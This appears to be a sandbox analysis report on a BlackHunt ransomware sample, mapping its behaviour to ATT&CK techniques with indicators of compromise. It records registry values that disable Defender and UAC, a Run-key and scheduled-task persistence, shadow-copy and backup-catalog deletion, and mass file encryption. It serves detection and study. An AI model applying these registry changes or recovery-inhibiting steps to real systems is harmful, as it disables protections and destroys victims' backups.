ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0

Data Destruction

T1485

pid	Process
1596	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2032	bcdedit.exe
1788	bcdedit.exe

Renames multiple (2344) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2348	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\H:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\J:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\T:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\X:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\B:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\K:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\I:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\S:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\M:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\W:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\U:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\P:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\V:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\O:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\R:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\L:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\Z:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\N:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\Q:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\Y:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened (read-only)	\??\A:	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-sampler.xml	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground.wmv	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\feature.xml	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.emf.common_2.10.1.v20140901-1043.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-masterfs-nio2.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_ButtonGraphic.png	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Rainy_River	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.attributeTransformation.exsd	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\Documentation.url	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\management\jmxremote.password.template	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_Private.key	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\dblook	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app_1.0.300.v20140228-1829.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-attach.xml	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jre7\lib\zi\Africa\#BlackHunt_ReadMe.hta	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-selector-api.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jre7\bin\#BlackHunt_Private.key	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository.nl_ja_4.4.0.v20140623020002.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jre7\lib\security\#BlackHunt_ReadMe.txt	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_SelectionSubpictureA.png	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Beirut	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring_ja.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\#BlackHunt_ReadMe.hta	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Halifax	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.hta	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_ButtonGraphic.png	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.forms_3.6.100.v20140422-1825.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\#BlackHunt_ReadMe.txt	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\org-openide-filesystems_zh_CN.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Krasnoyarsk	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-heapwalker.xml	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Lisbon	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification.zh_CN_5.5.0.165303.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help_3.6.0.v20130326-1254.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jre7\lib\fonts\#BlackHunt_Private.key	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_MATTE_PAL.wmv	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Fakaofo	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\PST8	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\#BlackHunt_Private.key	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Shanghai	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jre7\lib\#BlackHunt_ReadMe.txt	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Rome	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\UndoBackup.AAC	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.addons.swt.nl_zh_4.4.0.v20140623020002.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-11	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_ReadMe.hta	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\203x8subpicture.png	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Paris	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-multitabs.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\jfr\default.jfc	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-overlay.png	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_Private.key	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.scheduler.nl_zh_4.4.0.v20140623020002.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_Private.key	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\bin\ij	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Paramaribo	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Adelaide	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\#BlackHunt_ReadMe.hta	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Port_Moresby	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application.jar	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_pt_BR.properties	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Nassau	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\#BlackHunt_ReadMe.txt	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2664	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1604	vssadmin.exe
3060	vssadmin.exe
2928	vssadmin.exe
1136	vssadmin.exe
2776	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	vssadmin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	vssadmin.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
Token: SeRestorePrivilege	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
Token: SeBackupPrivilege	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
Token: SeTakeOwnershipPrivilege	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
Token: SeAuditPrivilege	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
Token: SeSecurityPrivilege	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
Token: SeIncBasePriorityPrivilege	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
Token: SeBackupPrivilege	2628	vssvc.exe
Token: SeRestorePrivilege	2628	vssvc.exe
Token: SeAuditPrivilege	2628	vssvc.exe
Token: SeBackupPrivilege	2968	wbengine.exe
Token: SeRestorePrivilege	2968	wbengine.exe
Token: SeSecurityPrivilege	2968	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2448 wrote to memory of 2140	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	31
PID 2448 wrote to memory of 2140	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	31
PID 2448 wrote to memory of 2140	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	31
PID 2448 wrote to memory of 2140	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	31
PID 2448 wrote to memory of 2776	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	151
PID 2448 wrote to memory of 2776	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	151
PID 2448 wrote to memory of 2776	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	151
PID 2448 wrote to memory of 2776	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	151
PID 2448 wrote to memory of 2608	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	41
PID 2448 wrote to memory of 2608	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	41
PID 2448 wrote to memory of 2608	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	41
PID 2448 wrote to memory of 2608	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	41
PID 2140 wrote to memory of 3060	2140	cmd.exe	147
PID 2140 wrote to memory of 3060	2140	cmd.exe	147
PID 2140 wrote to memory of 3060	2140	cmd.exe	147
PID 2448 wrote to memory of 2716	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	37
PID 2448 wrote to memory of 2716	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	37
PID 2448 wrote to memory of 2716	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	37
PID 2448 wrote to memory of 2716	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	37
PID 2448 wrote to memory of 2752	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	40
PID 2448 wrote to memory of 2752	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	40
PID 2448 wrote to memory of 2752	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	40
PID 2448 wrote to memory of 2752	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	40
PID 2448 wrote to memory of 2596	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	42
PID 2448 wrote to memory of 2596	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	42
PID 2448 wrote to memory of 2596	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	42
PID 2448 wrote to memory of 2596	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	42
PID 2776 wrote to memory of 2624	2776	vssadmin.exe	65
PID 2776 wrote to memory of 2624	2776	vssadmin.exe	65
PID 2776 wrote to memory of 2624	2776	vssadmin.exe	65
PID 2448 wrote to memory of 2644	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	64
PID 2448 wrote to memory of 2644	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	64
PID 2448 wrote to memory of 2644	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	64
PID 2448 wrote to memory of 2644	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	64
PID 2448 wrote to memory of 2656	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	55
PID 2448 wrote to memory of 2656	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	55
PID 2448 wrote to memory of 2656	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	55
PID 2448 wrote to memory of 2656	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	55
PID 2448 wrote to memory of 3064	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	51
PID 2448 wrote to memory of 3064	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	51
PID 2448 wrote to memory of 3064	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	51
PID 2448 wrote to memory of 3064	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	51
PID 2608 wrote to memory of 3028	2608	cmd.exe	52
PID 2608 wrote to memory of 3028	2608	cmd.exe	52
PID 2608 wrote to memory of 3028	2608	cmd.exe	52
PID 2448 wrote to memory of 1896	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	43
PID 2448 wrote to memory of 1896	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	43
PID 2448 wrote to memory of 1896	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	43
PID 2448 wrote to memory of 1896	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	43
PID 2448 wrote to memory of 3056	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	49
PID 2448 wrote to memory of 3056	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	49
PID 2448 wrote to memory of 3056	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	49
PID 2448 wrote to memory of 3056	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	49
PID 2448 wrote to memory of 1968	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	45
PID 2448 wrote to memory of 1968	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	45
PID 2448 wrote to memory of 1968	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	45
PID 2448 wrote to memory of 1968	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	45
PID 2448 wrote to memory of 2876	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	47
PID 2448 wrote to memory of 2876	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	47
PID 2448 wrote to memory of 2876	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	47
PID 2448 wrote to memory of 2876	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	47
PID 2448 wrote to memory of 2756	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	54
PID 2448 wrote to memory of 2756	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	54
PID 2448 wrote to memory of 2756	2448	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe	54

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ece542531db5268ca1aa5a6439e9f942995353a0fc301391e18134b7e5fb3fa0.exe
